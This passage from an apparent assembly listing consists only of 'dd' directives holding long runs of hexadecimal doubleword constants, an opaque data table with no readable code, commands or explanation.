490EAFA8h, 2D676BE4h, 6CCC1414h dd 0B92603F3h, 185E7B7Dh, 51252C19h, 0AC00167Eh, 0CAD15D9Fh dd 11C1B1Ah, 0BAB88154h, 0C422FD3Fh, 738058B9h, 12FF0050h dd 4D2E319Eh, 277E8E3Dh, 6396D8F5h, 0C02ABA13h, 0A9880030h dd 0C77B06h, 2C762411h, 0C465E82Fh, 7F1460F5h, 7D141002h dd 7B13477Eh, 6C800048h, 0E560962Bh, 0E1FB2Dh, 0F39838DCh dd 0E8920006h, 6140DA07h, 36393ACCh, 622B8151h, 29C4A2ABh dd 93087040h, 18B3007Dh, 80C25763h, 0A207BFFDh, 0C4812D77h dd 36C9A361h, 30000C37h, 74C0F21Ch, 1000EE0Dh, 608BFD36h dd 3905B5D7h, 0FBF53EEFh, 44F523D0h, 0CE78F109h, 9F00D4A5h dd 9091D2EEh, 608700BEh, 88082710h, 0D73EFE2h, 0C8F40438h dd 0A43FEDh, 0B7123AC4h, 5CC5CA13h, 8C800429h, 0F08634FEh dd 0C90A0E7Dh, 0F43A3B31h, 5A49B442h, 0E7F50974h, 94C1C762h dd 0E3402020h, 733A2D43h, 0B000C440h, 0F512CA59h, 0E948B1h dd 9468B864h, 0F45063Ah, 0D8589D07h, 0EA77B3F9h, 3B9E6EA0h dd 0D98F0E16h, 5522B1C9h, 0C408847h, 2FF44C03h, 107D9617h dd 0CEB34420h, 0B50B30A8h, 0DD980C88h, 7234F920h, 0B1F180C7h dd 44B349Eh, 2F225C04h, 432A1520h, 9C470B8Dh, 4500A5C7h dd 0A6817EBDh, 0C8003398h, 7CC5A2D9h, 0B8E635ADh, 4D702228h dd 5BB39512h, 0E066FC09h, 44A2B874h, 5771E8F2h, 8D51D20Fh dd 16D760FEh, 4AD670Ch, 3B3A4FFFh, 7F408031h, 9FF23809h dd 2AD6B603h, 3ED1D0F5h, 5CDB26A1h, 0D0A1AD4Ch, 0FC28E677h dd 54070D40h, 9810DED6h, 30A13D35h, 7B00D068h, 0C2610725h dd 9D141856h, 24080D7Ch, 7026DCBCh, 3216D270h, 91191540h dd 5C3C7018h, 0DC21F0E8h, 0D830A617h, 82A123h, 0E8314BBFh dd 326CF606h, 1C747203h, 9DF4D3C7h, 94B3C0C8h, 46864008h dd 0E374A47Eh, 28E0B832h, 0B450242Ah, 0F0078428h, 7ACDCA58h dd 0B09604C3h, 0FDB65FCFh, 0A0002072h, 7CBB8B0h, 405EF39Bh dd 2B57B604h, 3EA6DC88h, 0A1002A13h, 0EB6DDCB8h, 0AB00181Fh dd 0CC80C509h, 95145A82h, 35DDA423h, 0F158AFE8h, 48275000h dd 4CEF6D90h, 145E1D34h, 3F3BC0ABh, 0DD715435h, 52819802h dd 9134299Fh, 286901E0h, 1FC92C02h, 0B445C896h, 0B651B200h dd 0BFF8079h, 4B969C6Eh, 69B174C8h, 933AD300h, 73C106A7h dd 0B51038A9h, 8D0E2C3Dh, 16E07BD2h, 8BCFF2A3h, 0F4373CA0h dd 98AD0CB9h, 2B19C88h, 766C9B4Eh, 3CC4A203h, 0AE52360Eh dd 0FA0A235Ah, 0BCC085E0h, 7559A193h, 34B20007h, 0B5453B83h dd 0DB1257BBh, 0C02CB89Ch, 0CF2F84B7h, 8C1629h, 0DBDD66B4h dd 735BC25Dh, 9223D73Ah, 0B0C84E51h, 0DC74B2h, 27D80BB6h dd 551D9F61h, 0BBC0C13Fh, 0DB1201DEh, 40CD629Eh, 4FFFB460h dd 980828F9h, 31EBD00h, 849F5F23h, 0C0F40CABh, 18211FF7h dd 8173D11Dh, 0CCF570C4h, 0AC608CC9h, 382788FFh, 4420B74Fh dd 904F23h, 0C8D7A55h, 0BFB0DBD0h, 724633Eh, 0A2989A1Dh dd 0F0DCE3C3h, 179BCEEEh, 0C8C85E43h, 63007070h, 0B882817Bh dd 0B268AE22h, 5C7A9884h, 0D3806011h, 175AC71Eh, 0A0396060h dd 0B967ABh, 65B87ACAh, 0B3775280h, 0EAF9DF00h, 66F1E45Bh dd 8A910AACh, 80EC0CA3h, 0D174493Fh, 620035B1h, 10479C9Eh dd 58653F9h, 0E76A8DF7h, 59A8C344h, 0BD437F0h, 0B21AB8C0h dd 1FEE59Dh, 0D00127A6h, 62F69862h, 0B84CC4h, 0E24A3A6Dh dd 4BFDA3B8h, 4D548239h, 5BF90920h, 2551F836h, 0C1276D5h dd 0ED317C49h, 0FBBC4201h, 0D0642Bh, 703BD1AEh, 7D0FF32Ch dd 0B00D7200h, 0C20176E4h, 6632B842h, 91F578B7h, 0F3F72100h dd 0F4B9C7E7h, 0A69324BDh, 1FCC96FCh, 34C89520h, 5F9097C0h dd 3D001532h, 52D67540h, 54F2D3h, 561496A0h, 0BACB4F4Dh dd 4C6CA448h, 395B2124h, 895FB944h, 0A30156FCh, 8D7D6C1Ch dd 9AFD4028h, 7B0492B0h, 0CA153399h, 37C65081h, 23FE2611h dd 2D0215Ch, 56830716h, 0E8C63842h, 0AE502C0Eh, 5FB1019Bh dd 0B02FC7FEh, 4C926C76h, 0CD74949Ah, 484C384Ch, 1158C830h dd 1B9B0048h, 0ACC79F6Ch, 9054E77h, 597B94h, 9254E60h dd 8C1D00FBh, 1B19BF8Bh, 0E518175Dh, 0A3180AA2h, 20B0E522h dd 2713F411h, 0FCA6E222h, 415F0031h, 19B7DDC0h, 0FE638A9Dh dd 0A8D4CA31h, 0CF51CA0h, 4BC6AAA4h, 31006849h, 0A69C3B48h dd 98328Eh, 831ECD02h, 11B6F894h, 59A8BF01h, 0F9048FD2h dd 454D2840h, 7C6F1F3Bh, 19E61801h, 75FC1073h, 3BAB501h dd 6536C662h, 47D6880h, 7AB27BD4h, 7EE96E60h, 7120F169h dd 8B98003Dh, 2305F84Ah, 22003648h, 0EABBA841h, 1F48C04h dd 5EA66B84h, 8342D434h, 93D1EC40h, 50BAB4Eh, 7C5EAA51h dd 0B0544302h, 72F10D2Bh, 7E8058D2h, 5906A2F8h, 637A62E1h dd 0EFB30041h, 0B7A57C27h, 906ADF3h, 8B13423h, 1EDC0F20h dd 0E1605CF4h, 4C7EEB06h, 323B1403h, 0E8A876DDh, 337C519Fh dd 0C6DA3C8Bh, 0CCE36FE0h, 0DE3FC390h, 3D100353h, 0B8A22223h dd 20E672Dh, 6C59EC24h, 94908C18h, 7C00ACD6h, 9DB7D819h dd 2A5B5F3Bh, 3F49935h, 0C91E3F85h, 0CE83A5Eh, 4CE2C3ECh dd 80741DCh, 0DB30EFD9h, 7341B8C7h, 7D6900BCh, 3BF2222Bh dd 8D00B2E9h, 338C0190h, 249CF68Fh, 21264E1Fh, 66000A4h dd 7CF5D605h, 8273C0A1h, 98EC368Eh, 7B544816h, 0F231C05Ah dd 778A49C6h, 0FF871502h, 5728C4A2h, 21675060h, 0C8F552h dd 8BC01966h, 0F1A39F7h, 0EC916EB0h, 0F5D3C100h, 243C1FDBh dd 835C489Ch, 0F5F188F6h, 0EA102040h, 4880C10Bh, 33C03C02h dd 5150ABDBh, 0F7555703h, 0C8E1DA7Dh, 2A25D2F3h, 7FFC0C84h dd 6594A9C3h, 3BDE1DC0h, 288552D1h, 0F8B487D2h, 380415B0h dd 21CA00C8h, 39078BF3h, 0DA9C039Fh, 174D1952h, 5D66B1h dd 7C9898Ch, 0DEFFF250h, 80D4DA34h, 432445E2h, 0C700A227h dd 73A9AA3Ch, 12B661A4h, 218DA0h, 0F5EB44F0h, 0F4008308h dd 778416C6h, 142B0650h, 0EC7959EDh, 599F3486h, 0D23EE900h dd 0FCB5A250h, 65FA2886h, 23D1019Fh, 0E39BF1F2h, 5B8C51E2h dd 2C64EE4Eh, 37E8000h, 285E5C07h, 0EC081ECFh, 490C1299h dd 0F400AEA8h, 775BB458h, 0A54C4900h, 57A4C5E4h, 0AC030045h dd 0DE9B702Fh, 60C01EA6h, 0E4D4E5Eh, 0A95060C5h, 862BF9FCh dd 8D343100h, 569B7D19h, 1B70644h, 406F3211h, 0C6A1D363h dd 0B4390051h, 6F4F1A6Bh, 6A004931h, 0AAAFC892h, 1859D261h dd 28A7557Dh, 530CCF24h, 102397ECh, 458F011Eh, 0F224E3Eh dd 115881FAh, 0D1048B5Eh dd 28EA40CCh, 29346159h, 0A4A434h, 403C69BDh, 7C189E23h dd 0E758B2CEh, 5A038009h, 391A6230h, 7554Eh, 0F2FDDF44h dd 59EB615Eh, 8B627772h, 0A3742121h, 1EA01B4h, 96B053E1h dd 0C0CC9BD2h, 100019FEh, 134286BEh, 3C68C2Ch, 3222804Ah dd 6AC19B7Ch, 77DC5019h, 1648147h, 8888DD18h, 86103EFh dd 8D55795Ah, 0E298D122h, 5076002Eh, 1C25B87Dh, 0A1150968h dd 5F0194Eh, 79C50D8Ch, 27D1891h, 66DCBE4h, 34EBDA05h dd 0C61D499Bh, 7BF2C7Fh, 173943Ah, 1FC1B180h, 0DF2930ACh dd 0FABA1EF1h, 9C215B0Fh, 0EC1471E4h, 9D86B0CEh, 36F879D7h dd 0DE9C2B0Ch, 54C6E11Ah, 0F8AC4Dh, 62E3DD5Fh, 9A5189D5h dd 0DC2F2C0Fh, 0D3ED40B3h, 8456204Eh, 427E444h, 0BD3F94F8h dd 259C8490h, 409C5390h, 0F6997358h, 9C010182h, 9DE78428h dd 64600464h, 0F61F4045h, 5A599816h, 38A0CF09h, 1C4A2710h dd 8124EA26h, 0FC55D082h, 1243018h, 42003C99h, 6D48B440h dd 0ABD10033h, 3E9ED22Dh, 0CCB1D97Eh, 0C1647B0Ch, 0EADE006Ch dd 9D60BDCCh, 2E7367D4h, 66997100h, 56221A15h, 0D79B2C84h dd 112C6ADCh, 22DC4C3Fh, 0F77E0B55h, 0E1004638h, 0B2356471h dd 47F454B2h, 2EA63300h, 20BFD472h, 5F0EEB7h, 0DB90A556h dd 80A48412h, 9D5CCCDBh, 637C9600h, 0A3E0EAFCh, 59793084h dd 0B05DCB71h, 49246400h, 416972BFh, 68FC00BDh, 0B785964Fh dd 302204Ah, 3C027E7Fh, 9DD0C156h, 9F78F980h, 0B52FC230h dd 0B08DC61Dh, 977DBD00h, 6E9CEC48h, 3CFB1B4h, 0F05CF119h dd 0CD049339h, 6A243376h, 40D6C681h, 0AC8EFCh, 963B347Eh dd 0CC217F23h, 1AA2F700h, 222406B3h, 11FA6104h, 803ADC7Eh dd 64A48E29h, 741B940Ch, 5A8B3A63h, 38A41C2Ah, 3C802225h dd 7EB1C8A2h, 7A093F2Eh, 85B990B5h, 803165Fh, 483BFA21h dd 1A11AC29h, 0E7011B71h, 63DFA8C1h, 3FDD7A30h, 0D580C003h dd 0ACF955BAh, 0A2008C27h, 0AE892595h, 345A0229h, 82894478h dd 1256ED4h, 0E36B8820h, 1275A8h, 0E209AEFDh, 90DE5226h dd 82F3823Ch, 3CD6D25Ch, 98384278h, 1EEB244Ch, 0C0719218h dd 0B9C72230h, 0EC11A98Ah, 30EA2D5h, 2480899Bh, 0B6D2FC92h dd 400024AAh, 509B73C4h, 8EB42D00h, 7961A985h, 992C00C9h dd 38CEF01Dh, 0C6305F44h, 0B173C94Fh, 0EAC2EC72h, 0F742008Bh dd 2B1A82E6h, 7A1FD64Bh, 0F9829D1Ch, 0E1C92625h, 422E228h dd 36807E38h, 7CF351A0h, 0AA30E064h, 7D246048h, 744988Eh dd 43AC8702h, 0A7F3C00Bh, 0D0198C25h, 0CA284E6Ah, 467CC8DBh dd 26F8B0F2h, 6448D1ECh, 76826DFh, 0B5BA4CD9h, 21AE8001h dd 0DE16E3F2h, 0EC20619Ch, 0E19C68Bh, 81175525h, 4E846DAEh dd 12A8C80Ch, 7A480DE8h, 0BDB08098h, 0E4E540h, 8BEACAA4h dd 72C45FBFh, 0B3441105h, 0B4C1BBDFh, 5700FE6Eh, 915663h dd 172C2414h, 5C04F611h, 57021BF8h, 34224562h, 0AB98A1B0h dd 954054EBh, 922E11h, 703F78D3h, 179F3363h, 98EA4DF0h dd 7A5A620Ah, 3493FCA4h, 0D3004C24h, 1F87C499h, 0B6080579h dd 0C291F9C0h, 1320EEACh, 13349D3Fh, 6D6377h, 9B6B1959h dd 6800D1FDh, 20560EBh, 41C681h, 775E346Ah, 0ACE92721h dd 0B88C0407h, 0FC60451Ch, 75A35E8h, 0D8881783h, 0B5F9A37Ah dd 0E010C195h, 5B7180FDh, 9FA34B7Ch, 0ABF217C9h, 6F2C20C6h dd 3D008812h, 8E68A239h, 58224DF9h, 19164880h, 506030F5h dd 90022E23h, 0D7564B12h, 41EC94F1h, 0D6599389h, 0D44FD804h dd 0E25B8080h, 3F8F71EFh, 617F046Eh, 0D0EB607Ch, 0E09711A1h dd 0C63AE452h, 0A2E522ACh, 2B006884h, 5BA90183h, 0C939Ch dd 0D0BA38D1h, 72601550h, 50355E24h, 0EA30FC47h, 1C3E5C46h dd 42177764h, 0E0197C55h, 0CA08045Ah, 259502B5h, 63211087h dd 70015832h, 9D3907E1h, 28E5E2h, 0E4461A88h, 0E0FAD0h dd 5F37D312h, 5A731EF6h, 30526624h, 0B91A546h, 8A02494Bh dd 0DDDF3982h, 14FF44E1h, 2EA3F4C2h, 23B459C0h, 5D122E18h dd 5042D034h, 0A5E7E39Dh, 888A9C18h, 0C10DDF00h, 7E20D162h dd 66D33F00h, 0EC64C659h, 16B8A4D6h, 21605A94h, 2D184E7Ch dd 1E8980F8h, 96797DF2h, 953E8348h, 0F890252Ah, 0A107B586h dd 2F9C1837h, 5917C2F2h, 2CDF87ACh, 47A04EA6h, 1FFAB7Dh dd 0E878AC7Ch, 53283498h, 0D401A00Fh, 0CFEC3EA6h, 70450A9Ah dd 0DFA5C60h, 0FFC4A809h, 181B0039h, 0A8EE3565h, 6918E6ECh dd 8E31E004h, 5E823CFCh, 36C38A00h, 9C02165Ah, 2461B624h dd 9B631C82h, 5A102CB5h, 83FD5E02h, 926559E9h, 0DE3887D8h dd 87B8048h, 1EF3AC3Eh, 19E15332h, 920C4089h, 5E8A0078h dd 49BCB1E8h, 0A01BBA1h, 0F48BDB96h, 0E5F8FCF7h, 0AA88266Ch dd 0E43360E8h, 6F00656Dh, 23EF4A70h, 3EFFB925h, 6ABD4998h dd 0D092A3A0h, 2236002h, 4825B0AEh, 0EC7010h, 0A16FD06Bh dd 0C17FF932h, 820E0CFCh, 6F7D1402h, 0AAE7C41Ch, 514EC4C1h dd 0B029B431h, 20D6578Eh, 0F01A21D8h, 0F8548226h, 8B1D142Bh dd 0F4399D3Ah, 0F021B752h, 4C20177Dh, 0EC3DE81Eh, 0D0A65DD2h dd 96388BC0h, 82008479h, 0BBA4D7FAh, 0F85A74F7h, 51171FB9h dd 6C4005Dh, 9E3442FFh, 0DA6239C0h, 18792B6Ch, 0BE3D8FDBh dd 0E40576B0h, 99F07A45h, 22898C1Eh, 0C6EB1h, 8129A87Dh dd 194E2ED2h, 0BF6EA500h, 666B5CACh, 48830039h, 9830CD72h dd 9C9861BDh, 88B9D1Ah, 2FB4041h, 11EB6401h, 314AC02Fh dd 32720C04h, 0BCA8D607h, 8AD782D5h, 29E3B6h, 0D0D97BE4h dd 0B354E7E5h, 2099EC27h, 0D3C79D2Ch, 0BC60507Ch, 0AC8F0024h dd 3EA716CAh, 87058CE4h, 0F1DE5465h, 0A16980EEh, 19121786h dd 78008BEDh, 9675E0F4h, 5C908Eh, 6259A3Dh, 0E33CF6D4h dd 0E021833Fh, 584A7330h, 0C19DF092h, 79505310h, 28DEDD3Bh dd 478A807Ch, 2173F01h, 82D3E407h, 0C563F4BDh, 57F64F98h dd 0F30456E4h, 2CBA1DD0h, 2C60F0E0h, 38388A06h, 0F63478DCh dd 89808848h, 0E6C2C001h, 911C2D0Bh, 8015061h, 88429FD3h dd 805465D6h, 51977296h, 7F09DA05h, 825B87E8h, 7AC61CD0h dd 0FE71DCh, 0F1560EBAh, 0CE7C5CB3h, 99EB0304h, 160BDDh dd 625BB570h, 35092FACh, 2345DE9Ch, 53C66Ch, 7AEC4A49h dd 254988C9h, 0C442960Fh, 204E4344h, 1912782h, 9FA2F020h dd 10003D9Dh, 0D860CF36h, 0A8AA2CD3h, 68E354Ch, 0CEE34DA5h dd 61B09017h, 0C3B890D1h, 925A7761h, 34A848FAh, 0E49AB3h dd 6C79818h, 7C6EBC76h, 9E93943Bh, 0BAD74F21h, 87EA1848h dd 0F019E1D2h, 3BBEA128h, 5D94F62Eh, 0F40B41Dh, 0BF178B1Ah dd 40DC98E3h, 0F128218Ah, 7E0044D2h, 0C0446D33h, 18FCA185h dd 116CDB7Ch, 55007318h, 45B8F321h, 3D6539h, 195B1FB9h dd 4D3C71DEh, 610AF290h, 804EC6B1h, 8FFDB283h, 9E40AF55h dd 1665F15h, 9CAF99C5h, 63D1ECABh, 7AD20064h, 5E6B1FE8h dd 89873D9Dh, 20439818h, 0ACB39C1Eh, 0A523E70Eh, 6D8073A3h dd 0F37C59h, 2186F4E3h, 0EF331735h, 82F81B1Eh, 81C01E00h dd 2D5C0B71h, 88192225h, 70D1FA51h, 0EA12FE00h, 0D6467D59h dd 7A4088C1h, 8894BE01h, 0CC579A42h, 987BC4h, 0E811F3F9h dd 2D14DD45h, 0D1A0E433h, 0CC8BF7A3h, 45F70120h, 34CAB3F4h dd 8B8C2428h, 0B0439C26h, 0F9A18440h, 0EB44025Eh, 88227710h dd 50260C41h, 724C7D94h dd 0B9EBB0Ah, 1E408804h, 13BBF63h, 0ED2B0EF9h, 8B1F7C2Ah dd 68D6D4E8h, 1EDF2188h, 0A5D1C2h, 9056642Ah, 5A18956Ch dd 7D813F61h, 745B497Ah, 701F1Eh, 0DDC357AFh, 0ED0FA836h dd 0A094D627h, 0B51B6B08h, 0D304007Eh, 81020747h, 0A25B773Dh dd 13D03449h, 0A02DA02Ch, 28532472h, 7CFA1138h, 38B118FCh dd 0B018E469h, 0F15F4538h, 0CC39A07Ah, 0C072824h, 8BEDD788h dd 10109BECh, 39C0627Bh, 1440E280h, 374500C2h, 1C51D09Dh dd 5907A988h, 0EC58FAE3h, 1D52A4B4h, 5E0922F4h, 8337779Ah dd 4806FFD4h, 0E22E870h, 0C8801C91h, 26C1DDFCh, 0E0690370h dd 7E053F9Fh, 0EB08A1A0h, 41DF9831h, 0FF0A996h, 72B10636h dd 716179A2h, 98009D78h, 2181AA42h, 25C6AC68h, 0C308F23h dd 0B71F3CB8h, 0C596D76Bh, 0D30950D0h, 0E59070h, 922E8AAFh dd 1FC997C4h, 0A98B5500h, 0DAE3F633h, 22654B9Ch, 3504C2B0h dd 205AE054h, 6A8CA874h, 5603C600h, 312958E4h, 2C8F48A4h dd 0C8829E8Bh, 7B259DD5h, 0C54C6400h, 120D01Bh, 0B285ED89h dd 0C6223666h, 2E78FC90h, 2FDFA701h, 0FE3E839h, 4320A7D2h dd 0AC12A02Eh, 0E42E8104h, 5289A65h, 0A8C66166h, 0B290C8C3h dd 0C4001876h, 6F2E830Ch, 680021Fh, 5A31443Bh, 0FB047165h dd 0BB3C0185h, 0BF0054B2h, 0FFB8B72Ch, 0E212FE7Dh, 9891043Eh dd 0A420A6DEh, 8EA000ADh, 0D96BFDB9h, 40288280h, 0F100A474h dd 357EA8C7h, 3C9DEA4Fh, 0F380048Ch, 639C020Ah, 0E001F0D8h dd 0B36FD5C5h, 10693456h, 373E2D00h, 0F34F158Ch, 0D500AAE6h dd 366EAB29h, 89B2E9h, 8D2D8799h, 0F009F41Dh, 3DFDCD00h dd 317BA668h, 12D8EAB1h, 24E49B85h, 0D4A27Ch, 0BB9FA837h dd 0E06E52h, 11B9E638h, 8902FC1Ah, 1067C52Dh, 762D0430h dd 5FFA1D7Ah, 4AF1C0E6h, 0DB50E1F6h, 0AC3922FAh, 4013A67Bh dd 0CA63E08h, 58C9B734h, 636EC104h, 638105CFh, 0C03C870Eh dd 2059CEB1h, 789A67A0h, 6005A8ECh, 5D161804h, 56E5D48Dh dd 80587B01h, 0D638EDA1h, 1042C7h, 0E623BFCBh, 32315B57h dd 38E060E3h, 0E4E84E41h, 0D4341272h, 6138818Dh, 8B8897Fh dd 0EE4B8A0h, 0D9CB0088h, 9163BF0Ch, 0FF002351h, 5DB16CC9h dd 2A3ADB9h, 0DE9BFB2Fh, 0A05A4D79h, 589D9E44h, 139F18E2h dd 8DF022CFh, 1F7EA040h, 7D01FAFCh, 300CC604h, 0CEF4CB22h dd 5E8401B9h, 503CD71Eh, 2378319Ah, 630F7520h, 0C05BBDh dd 0EFED886Eh, 4A39FA09h, 28A831EBh, 0F968BB18h, 0DC7D2C12h dd 0CC23A490h, 6499CBF7h, 5BA46C00h, 1E180224h, 454154C5h dd 0AC3000B3h, 440E892Ah, 57407991h, 0F7F13C8Ch, 0D7FC7D00h dd 7484B80Bh, 0A0B28D00h, 0ED2616C1h, 0A4EE187Eh, 770D3160h dd 0E1A73102h, 0E45439F7h, 13CBE8F4h, 12B0AAD3h, 7924CC10h dd 244C4445h, 0BB9203C5h, 0E1301827h, 20B13800h, 5815E521h dd 63E00B8h, 7EF30953h, 3507E82Eh, 0E977BFE1h, 6F27A2C0h dd 24DDE807h, 7906286h, 30C788B8h, 4E55FDC2h, 30D2224Ah dd 2FDC9001h, 5C647D8Ah, 0AECB34C1h, 78423CE4h, 13177707h dd 94C4053h, 10C7EF2h, 211CB2B0h, 0A87C0574h, 0F41F4EF3h dd 0C34EAA40h, 0AF6C1040h, 0FE721214h, 910906ECh, 304F1323h dd 60A910EFh, 4CD7398h, 0FEC1783h, 0AA7880B5h, 0F0F27C02h dd 3A722A00h, 554E5B5Fh, 40109C0Eh, 0C2DE6013h, 0E697AF00h dd 74969E40h, 5CFCB01Ch, 0DF00E87Eh, 0F27C5CDDh, 260366B1h dd 0D45B111Ah, 8DCAC05Fh, 9B0B14Ah, 0D061B809h, 7D570078h dd 8C999555h, 68840D1h, 48288B5Dh, 0CD731C0Bh, 0C1004948h dd 0B3AB1AAEh, 8027C042h, 7C5BAA30h, 5D150118h, 7D5A6A62h dd 0D10C43h, 0B549A57Ah, 0ABB741F8h, 9C033005h, 18F021E0h dd 20CE5AEBh, 0BFBCB204h, 0F91A1601h, 6AA891Ch, 0F63360h dd 605BA99Bh, 8B6D3ECh, 1398B095h, 197F0379h, 44CE7860h dd 0E6E24DE0h, 0AD294304h, 7E20C9F3h, 8D00DD32h, 5BB4859h dd 0D2DCDA7Dh, 7210A111h, 0DB938014h, 988D8Eh, 9694F428h dd 0EA0B360Eh, 3B0958E8h, 185BE5FDh, 87BC80h, 0D381D27Dh dd 955D80AEh, 0AF3FC3FCh, 4DA38F79h, 9B964258h, 40CC56E3h dd 5BB8047Ch, 800C355Ch, 0C0694259h, 13B7626h, 517DD1DEh dd 0C466799Ch, 0AB7CC5A5h, 0C0F8F248h, 3646AA4Dh, 107105D8h dd 98C4FCh, 6C05C3A4h, 0B8693C6Ah, 0E85908h, 5B9F02A1h dd 50EBF236h, 0B611350Ch, 4E0CF609h, 2D6C181Eh, 909097E3h dd 49265F30h, 34C468C0h, 1300ACB9h, 0CD2C2EE1h, 1116951Bh dd 0F8495D21h, 4EB4C803h, 6E7D0016h, 2EE46C58h, 224C9F94h dd 269B1EBAh, 98394742h, 0F47A01h, 0EFFA9CAFh, 0AD0D6318h dd 1997FE01h, 4417CAD0h, 1677A820h, 0C8BF6C4Ah, 0C803A9CCh dd 0ABC4997Eh, 0D6804860h, 0CB21267Dh, 0DB7840B0h, 0E75CDFA6h dd 90A82560h, 0C2ED78h, 2FDD7256h, 0D599A1BEh, 7023AF8h dd 342D57D8h, 7ADA209Ah, 0FC021683h, 0FDE0958Eh, 0B910C6B3h dd 0EFAA8188h, 805C797Dh, 0D0339E11h, 1E0A82h, 895BDCD6h dd 74AF149Ah, 0F152A32Ch, 1B8CE305h, 788AB082h, 0DDEB20CCh dd 8EE07B4Ch, 59A06029h, 2E695F1Bh, 59D4B1C6h, 4CA80C16h dd 87018454h, 59F47E8Ah, 0AB9370B4h, 85D42A05h, 0EC20BA8Ch dd 5F5D659Ah, 2768BD64h, 5EE81039h, 2C280076h, 8963940Bh dd 4630C695h, 6425386Dh, 9C670BE0h, 0F0485F3Bh, 59C517C6h dd 0BCC04D93h, 9504355Eh, 13BE7CA0h, 4000E168h, 0F3C5B4A2h dd 12ADA146h, 0F0F62866h, 9A0FE720h, 0E94CD0h, 25F058C8h dd 0F48058EDh, 0E83BEC25h, 0E05FE3A0h, 0DFB5B000h, 59E541A3h dd 7B4F1889h, 10C6C955h, 0CC8E6100h, 93F70ABh, 24FE06Ch dd 9B9DF689h, 4C59568Bh, 5B7D9A11h, 215C30D5h, 0A9005EF6h dd 0DA7E444Ah, 3275D0Fh, 7D23A351h, 11771032h, 295F1E34h dd 0BCD758C5h, 439B16Ah, 357E9007h, 71B5C2FBh, 81E54C9h dd 0F6A80577h, 0F2092C34h, 542F0EF8h, 0C8D4C9BCh, 1CCB195Ch dd 1E4F8A5Eh, 0E2380F4h, 0E0619DD9h, 7204033Ch, 9B82790Fh dd 6434D8h, 3AFE5C9Ch, 988E22Fh, 990197D7h, 72630080h dd 0DA0B37E8h, 800BF4A2h, 0B146B988h, 0D66003Eh, 0CCA343E9h dd 540710EAh, 3B816CDFh, 0F8FF6120h, 0C1840E9Ch, 9E603C33h dd 6C19277Eh, 23041BE6h, 0F565E1F7h, 0ED2C8480h, 0FB7B00A8h dd 25BB8970h, 5900A902h, 442D35DFh, 0A0AC57D2h, 0F86665B0h dd 0F6230041h, 900E8E98h, 221A1206h, 4111991Eh, 299666FCh dd 6C60207Bh, 7801C16Fh, 25D2C665h, 82EE348h, 0BE80ED48h dd 0A0D57B3Dh, 8DD00FDh, 5E9568E6h, 8D03A821h, 35D2D462h dd 0B43886B0h, 1DD760F4h, 3F017DB7h, 1E52C5D3h, 9C4D224h dd 7E7F0090h, 5D32330Bh, 0C7269B7Dh, 5F11B4B9h, 8179571Bh dd 0C81F7CC0h, 18756E2Eh, 204EFE02h, 0AA5C6874h, 4853A8Bh dd 0A07BBE80h, 9BDA36A9h, 0A197E3FAh, 0AC92EB7Ch, 0E19CB3F3h dd 0C502236Dh, 0A27D7066h, 1B433800h, 0EE410D14h, 7DC11E8Ah dd 0FAC684E3h, 58E69Fh, 3D1B8B1Ch, 1CA4A1AEh, 528C3698h dd 7B9C9217h, 60E48C4h, 7C4E5A52h, 304BFA00h, 2E417425h dd 1198E062h, 0B4AA0C64h, 3ABC8B7h, 2EAC3D07h, 64F8198Bh dd 0E304E90Ch, 5A8984A0h, 205CD892h, 36A61B97h, 0A0DDA300h dd 81BC6CDEh, 0D03A00D6h, 7E1C568Dh, 5A1B2324h, 0C1A17A78h dd 562FD59Ch, 2E3C837Ch dd 0E4018589h, 0EE0533C0h, 591CEBDEh, 85648C4h, 8ACA4800h dd 25175D8Bh, 0F068AED2h, 45417B57h, 2A0BE838h, 0AE0950C2h dd 0C79E6810h, 2081430Eh, 0BC3043EEh, 5EB4F8E1h, 0E0514834h dd 1B7D5982h, 5A012481h, 16943266h, 0C4300C4Eh, 298BE628h dd 8844F641h, 0D4AC4D5Fh, 0AA51942Eh, 14C731D4h, 284B863Bh dd 0CDE412Dh, 84093C1Ah, 88404C64h, 70C7CE13h, 0EECA4B03h dd 0E82B1808h, 0F177CB5h, 0D0F31505h, 9709A400h, 0BE030DF4h dd 0C6F5398Dh, 320CC0DBh, 0B6081D50h, 790A074Ah, 3C39B06Ah dd 34A8B163h, 0AB7F1069h, 2EC2B50Fh, 361481B6h, 0A70585Dh dd 0E8294892h, 93575104h, 0F6F08096h, 8A052C7h, 0A800EE32h dd 0CF9C0F60h, 90027CF0h, 43590B4h, 90E6EC37h, 9CCA3ACh dd 51E4DF9Dh, 0A111A8h, 886AD697h, 24F9C0B7h, 50C02024h dd 0F688FDB4h, 7471269Ch, 0AC0B03E6h, 0D6CF0530h, 0F34A591Bh dd 0BBBC8400h, 58607EF2h, 0C854B00Ch, 25A520E0h, 5820EB5Ah dd 0E6A0E2ECh, 54AC0017h, 0F63B18DEh, 2A03951Ah, 2C939C23h dd 8C14D072h, 0DCB402F4h, 8E1C6F25h, 4156DC84h, 0FC0E90AFh dd 0F35BB640h, 77CA78EDh, 0F033AAEh, 0C97A6900h, 9C0618DBh dd 0BAEC8A1Ch, 8E844402h, 78F1C3h, 7CE82FA3h, 0D078F267h dd 0F04200B6h, 0DA08A0C5h, 50505618h, 7B6BC85h, 28AC5B22h dd 639C50EAh, 21121B04h, 2CB28255h, 0AAE4F100h, 4D2733Bh dd 3F01E2EAh, 3D3E2DEEh, 413B7983h, 0EF85E54h, 1F86F4CCh dd 0B8381300h, 41CEF0D1h, 19751F27h, 895D00C4h, 0FBC26FC9h dd 44495E2Dh, 0E98B22DCh, 710038A6h, 80864351h, 5C96A6F5h dd 49018B9Ah, 0B554F70Bh, 0C522E4FFh, 0E900C091h, 9101E582h dd 0C8C34E2Bh, 60E081Ch, 81BACEC5h, 0B334AA80h, 6B2B6810h dd 4CE4EE03h, 0E0F8EC3Fh, 3CDC741Fh, 1AC8E1DDh, 0E61A201h dd 20220670h, 8A09FA4h, 5927EADAh, 244C2664h, 9858BA20h dd 52D6077Ch, 0ABB97107h, 11D72C86h, 2138DEh, 0D30D228h dd 0C5E8D1DAh, 0EF00ECA4h, 7760F4Bh, 985E0538h, 0B6A19884h dd 3EA64134h, 4832B3h, 5BB1661Ch, 45D5621h, 1055D45Eh dd 89E0EDE4h, 334B80B1h, 58A80999h, 313C10ECh, 405EB8C8h dd 27B2880Ch, 4C94217Eh, 9EF20478h, 9461C9ACh, 1925D71Bh dd 0DBA80956h, 0E700BD64h, 6E339F37h, 0FBF09B8Eh, 9AC6F400h dd 39AA927Ah, 126D1826h, 0C18C08D4h, 5A2E8601h, 0A7921C9Bh dd 5982042Dh, 7D201763h, 4C532218h, 